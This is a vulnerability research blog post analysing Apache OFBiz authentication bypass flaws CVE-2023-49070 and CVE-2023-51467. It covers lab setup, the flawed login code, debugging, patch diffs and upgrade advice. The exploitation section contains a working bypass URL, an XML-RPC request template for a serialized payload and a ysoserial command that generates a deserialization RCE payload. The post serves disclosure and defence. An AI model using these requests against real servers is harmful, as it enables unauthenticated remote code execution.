Open in app

Sign in

Write

Sign in

Apache OFBiz Authentication Bypass Vulnerability (CVE-2023–49070 and CVE-2023–51467)

vsociety
12 min readJun 11, 2024

--

by@jakaba

Screenshots from the blog posts

PoC video

https://youtu.be/DuLzg6U25VM

Summary

This article explores CVE-2023–51467, a zero-day SSRF vulnerability in Apache OFBiz, arising from an incomplete patch for CVE-2023–49070, a pre-authenticated RCE flaw.

Description

Introduction

The Apache OFBiz Enterprise Resource Planning (ERP) system, a versatile Java-based web framework widely utilized across industries, is facing a critical security challenge. The SonicWall Threat research team’s discovery of CVE-2023–51467, a severe authentication bypass vulnerability with a CVSS score of 9.8, has unveiled an alarming risk to the system’s integrity. This vulnerability not only exposes the ERP system to potential exploitation but also opens the door to a Server-Side Request Forgery (SSRF) exploit, presenting a dual threat to organizations relying on Apache OFBiz.

The genesis of this vulnerability was an unintended consequence of a patch designed to address the previously disclosed CVE-2023–49070. A SonicWall security researcher stumbled upon CVE-2023–51467 during an investigation into the root cause of CVE-2023–49070, revealing that the patch intended to secure the ERP system inadvertently left a critical authentication bypass vulnerability unresolved.

This article delves into a thorough analysis of the interconnected CVEs — CVE-2023–51467 and CVE-2023–49070 — pertaining to Apache OFBiz, shedding light on the shared vulnerability leading to a potential SSRF exploit. Focusing on CVE-2023–51467, identified as a zero-day security flaw in the login functionality of OFBiz versions preceding 18.12.10, the article explores the nuances of its exploitation, origins, and the inadvertent consequences of the incomplete patch for CVE-2023–49070.

Additionally, the article provides context on CVE-2023–49070, characterized as a pre-authenticated Remote Code Execution (RCE) vulnerability originating from a deprecated XML-RPC component within Apache OFBiz.

Severity

Apache OFBiz, an open-source ERP system, might not be widely recognized, but it plays a crucial role in the software supply chain. With a substantial install base, it is integrated into prominent software like Atlassian’s JIRA, used by over 120,000 companies. This widespread adoption magnifies the potential severity of vulnerabilities, especially considering the substantial user base, particularly in organizations with over 10,000 employees, as reported by Atlassian. The impact of these vulnerabilities could be significant if exploited by threat actors in the software supply chain.

Affected Versions

Versions Affected:

  • CVE-2023–49070: All versions below 18.12.10. Resolved in Apache OFBiz 18.12.10.
  • CVE-2023–51467: All versions below 18.12.11, including 18.12.10 (previous XML-RPC fix). Resolved in Apache OFBiz 18.12.11.

Versions preceding the 18.12 branch could potentially be vulnerable as well. It is advisable to conduct testing and, if necessary, upgrade to version 18.12.11 to mitigate any associated risks.

What is an ERP system?

Enterprise Resource Planning (ERP) systems serve as integral tools for organizations, providing comprehensive solutions to streamline and integrate various business processes. ERP systems are designed to enhance efficiency by consolidating data and functionalities across different departments, fostering seamless communication and collaboration within an organization. These systems typically encompass modules for areas such as finance, human resources, supply chain, manufacturing, and customer relationship management, creating a unified platform for managing diverse aspects of business operations.

Apache OFBiz

Apache OFBiz (Open For Business) is an open-source Java-based enterprise resource planning (ERP) system designed to provide a comprehensive suite of business applications for various purposes released under the Apache license. It’s mainly used by large-scale businesses. OFBiz serves as a versatile and extensible platform that businesses can utilize for managing and automating a wide range of processes across different departments. Key functionalities include:

  1. Order Management: Handles order processing, fulfillment, and inventory tracking.
  2. Accounting and Finance: Facilitates financial management with tools for accounting, budgeting, and reporting.
  3. Manufacturing: Streamlines production planning, inventory management, and quality control.
  4. Human Resources: Manages employee records, payroll, and other HR-related functions.
  5. CRM: Enhances customer relationships by managing customer data, interactions, and support services.
  6. E-commerce: Supports online store setup, transaction processing, and related activities.
  7. Supply Chain Management: Optimizes supply chain processes, managing suppliers, procurement, and distribution logistics.
  8. Project Management: Includes tools for efficient project planning, monitoring, and control.
  9. Content Management: Provides capabilities for handling website content, product information, and digital assets.
  10. Customization and Extensibility: Offers flexibility to customize and extend the system to meet specific business needs and integrate with other applications.

Overall, Apache OFBiz is a versatile ERP solution that caters to the diverse needs of businesses across different industries, providing a unified platform for managing and optimizing various business processes.

Vulnerability details

To have a deeper understanding of the background of the two vulnerabilities and see the exploit in action with a proof-of-concept, first, we set up our lab, then talk about the issues in general and then on a technical level.

Lab setup

We used KALI Linux this time but since it’s a Java app, you can use any other OS.

First, install JDK 8:

# Download JDK 1.8
wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

# Extract it
mkdir ~/jdk
tar -xvzf ./jdk-8u202-linux-x64.tar.gz -C ~/jdk/

# set JAVA_HOME
export JAVA_HOME=~/jdk-1.8/jdk1.8.0_202

# set PATH
export PATH=~/jdk-1.8/jdk1.8.0_202/bin:$PATH

Make sure you are using the correct version with java -version command.

Get and run OFBiz

The OFBiz version we used was 18.12.05 so let’s start by downloading it.

git clone https://github.com/apache/ofbiz-framework.git -b release18.12.05 --depth=1

Then, load the complete OFBiz data and start it:

# get into the repos folder
cd ./ofbiz-framework

# Clean system and load the complete OFBiz data - might take a long time
./gradlew cleanAll loadAll

# Start OFBiz
./gradlew ofbiz

Now you should see this:

Now you can log in to Apache OFBiz with the username admin and password ofbiz at URL https://localhost:8443/webtools/control/checkLogin.

The admin panel looks cool:

Now let’s see both of the vulnerabilities.

CVE-2023–49070

This pre-auth RCE vulnerability discovered by security researcher Siebene (who has additionally authored and disclosed the proof-of-concept exploit code) and tracked as CVE-2023–49070 arises from an outdated and no-longer-maintained XML-RPC component within Apache OFBiz. Due to the severe risks, the vulnerability was disclosed on December 5, 2023 and poses to impacted systems, it ranks 9.8 on the CVSS score.

XML-RPC, serving as a remote procedure call protocol facilitating communication between applications over XML, exposes a risk wherein an attacker can execute arbitrary code (RCE) on the targeted Apache OFBiz server without the need for prior authentication. In general, authentication bypass vulnerabilities enable attackers to circumvent login or authentication checks, gaining unauthorized access to protected data and functionality. Such vulnerabilities are deemed critical risks in web applications and remote services.

In the instance of Apache OFBiz, these authentication bypass flaws facilitated remote, unauthenticated arbitrary code execution and unauthorized access to sensitive data on servers utilizing the platform. This implies that individuals could remotely execute commands and access confidential information without the necessity of login credentials.

Static analysis and debugging

Starts OFBiz in remote debug mode and waits for debugger or IDEs to connect on port 5005.

./gradlew "ofbizDebug --start"

Now open the project and attach to it with an IDE (IntelliJ Idea in our case).

To set up a debug environment, open Run / Debug (or hit Alt+Shift+F9) and select Edit configurations. Click on the "+" icon in the top left corner of the window and select "Remote JVM Debug" option:

Give it a name, set the related config data to proper values, and hit the Debug button:

If you have done everything right, you should see something similar on OFBiz’s terminal log:

As mentioned before, this vulnerability pertained to an authentication bypass associated with an outdated XML-RPC interface in OFBiz.

Since it’s essentially a business logic issue, let’s take a look at the related code parts in the login function in the LoginWorker.java:

if (UtilValidate.isEmpty(username)) {
    unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
    unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
    request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
    return  requirePasswordChange ? "requirePasswordChange" : "error"; // SEE HERE
}

As you can see the variable requirePasswordChange is determined based on whether the parameter "requirePasswordChange" is equal to "Y". However, this check is independent of the username and password validations. This means that even if there are errors (due to they are empty or incorrect) in the username or password (detected by unpwErrMsgList), the function may still return "requirePasswordChange" if the parameter is set to "Y". This seems unintended and can lead to unexpected behavior and allow attackers to bypass the following authentication check so they can remotely execute commands by sending requests with empty credentials while setting 'requirePasswordChange=Y'.

Now let’s set up some breakpoints to see how it handles different scenarios.

Open framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java in the IDE and set up a breakpoint at the level of extracting the requirePasswordChange from the HTTP parameter list (line 444).

According to Sonicwall’s posts, we also tested with empty USERNAME and PASSWORD inputs, along with requirePasswordChange set to true ("Y"). in the URI. Let's send a GET request to the following URL:

http://localhost:8080/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y

The debugger immediately stops at the breakpoint. Step over (F8) twice and you can see that the requirePasswordChange's value will be true. Additionally, it also contains an error because of the empty username field but no action is triggered related to that.

The login function provides a result that is sent to the checkLogin function.

However, the execution does not reach the expected section because the checks for empty username and password don’t work as anticipated:

  • even when both parameters are empty, the checks (username == null) and (password == null) return false;
  • the value of "error".equals(login(request, response)) condition also "false" because the return value of the login(request, response) is "requirePasswordChange".

Note that the conditions work the same way when username and/or password are also given since the variables are also not null.

Consequently, the checkLogin function concludes by returning success, enabling the authentication to be circumvented.

As we will see, the core issue is the same for CVE-2023–51467 however the exploitation path differs. More on this later.

Exploiting CVE-2023–49070

There is a chance to make an RCE from this vulnerability but first, let’s see a more simple scenario with XML-RPC’s ping command. The exploit involves sending an HTTP request, prompting the server to respond with a "PONG" message, signaling the successful triggering of the SSRF vulnerability.

However, as M4rtin Hsu demonstrated, RCE is also possible by exploiting this vulnerability.

The exploitation path is related to insecure deserialization. Insecure deserialization in Java refers to a security vulnerability that arises when an application deserializes untrusted or manipulated data without proper validation and safeguards. Serialization is the process of converting an object into a stream of bytes for various purposes such as storage or transmission. Deserialization is the reverse process, converting the stream of bytes back into an object. The issue with insecure deserialization arises when an application blindly deserializes data received from an untrusted source without verifying the integrity or authenticity of that data. Attackers can exploit this vulnerability by tampering with serialized data, inserting malicious content, or providing unexpected inputs. When the application deserializes such manipulated data, it may lead to security risks and various types of attacks.

Example request:

POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 3969
Content-Type: application/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>Methodname</methodName>
  <params>
    <param>
    <value>
      <struct>
        <member>
          <name>test</name>
          <value>
            <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_data</serializable>
          </value>
        </member>
      </struct>
    </value>
  </param>
</params>
</methodCall>

Now we construct the base64 encoded serialized data that will open our favorite text editor “gedit". To do this, we use the famous ysoserial which is "a collection of utilities and property-oriented programming 'gadget chains' discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects". We use it to generate our serialized payload. For some reason, I could let it work with some options because of a Java error, but at the end of the debug the following command worked:

java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial.jar CommonsBeanutils1 gedit | base64 | tr -d "\n"

By pasting the output of this command to the “serialized_data" part in the request above, the gedit appeared:

You can find my exploit script in the project’s related repo.

Inadequate patch

Following the patch of CVE-2023–49070 through the removal of XML-RPC code, researchers discovered that the underlying authentication flaw persisted.

Upon closer examination, it became apparent that the login function inadequately validated empty or invalid usernames and passwords. This oversight permitted the triggering of an authentication bypass through requirePasswordChange.

As a result, server-side request forgery remains possible, even in updated OFBiz versions where XML-RPC has been eliminated, so now, we continue with the next related vulnerability tracked as CVE-2023–51467.

CVE-2023–51467

On December 26, 2023, this vulnerability, which also holds a CVSS v3.x rating of 9.8 out of 10, was disclosed after a thorough examination of the root causes behind authentication weaknesses.

In brief, remote unauthenticated attackers can still exploit the same vulnerability by manipulating request parameters, enabling them to completely bypass OFBiz’s authentication and authorization checks. The successful exploitation of this flaw allows for unauthorized access to confidential data and facilitates the upload of malicious scripts, leading to remote code execution.

Since the core issue remained the same, we won’t elaborate on this CVE much more.

Patch diffing

CVE-2023–49070

The patch for CVE-2023–49070 was removing the XML RPC functionality that does not affect the core problem.

The commit description says the following:

* Removed deprecated apache xmlrpc related code (OFBIZ-12812)
  Apache XML-RPC is no longer maintained, its better to remove xml rpc related code
  GHSA-6vwp-35w3-xph8
* Removed unused imports

CVE-2023–51467

CVE-2023–51467 was fixed by the Apache OFbiz with commit d8b097f and ee02a33:

The update code between lines #436 and #446 within the login function continues to yield requirePasswordChange. However, there is now an incorporation of the UtilValidate.isEmpty function. This aspect becomes relevant in the checkLogin function, specifically on lines #341 to #343. The boolean condition "error".equals(login(request, response)) within the conditional block of the checkLogin function returns with true. Consequently, the checkLogin function returns the value "error" effectively preventing the authentication bypass.

Mitigation

Customers are advised to upgrade to Apache OFBiz 18.12.11 to patch the vulnerability. For more information, please refer to the Apache Security Advisory.

Versions preceding the 18.12 branch could potentially be vulnerable as well. It is advisable to conduct testing and, if necessary, upgrade to version 18.12.11 to mitigate any associated risks.

Final thoughts

Swiftly addressing the critical authentication vulnerabilities in Apache OFBiz is crucial for user organizations. Upgrading to version 18.12.11 promptly is essential to mitigate the risk of login bypass. The quick responses from SonicWall Capture Labs and the Apache OFBiz team minimize exposure periods. Implementing recommended upgrades and additional security controls on your end further reduces introduced risks.

In today’s interconnected software supply chain, vulnerabilities in integrated platforms can act as widespread backdoors across numerous endpoints. Proactive maintenance through timely upgrades is paramount to mitigate potential security threats.

For Apache OFBiz consumers, especially those using technologies like JIRA, delaying patching exposes servers and data to potential compromise, even with protective measures in place. Avoid risks by promptly upgrading to the remediated releases.

As part of the migration, establish robust software upgrade processes and policies to ensure quicker mitigation of exposures and reduce the overall risk surface in the face of escalating cyber threats.

Resources

--

--

vsociety
vsociety

Written by vsociety

39 Followers
1 Following

vsociety is a community centered around vulnerability research

No responses yet

Help

Status

About

Careers

Press

Blog

Privacy

Terms

Text to speech

Teams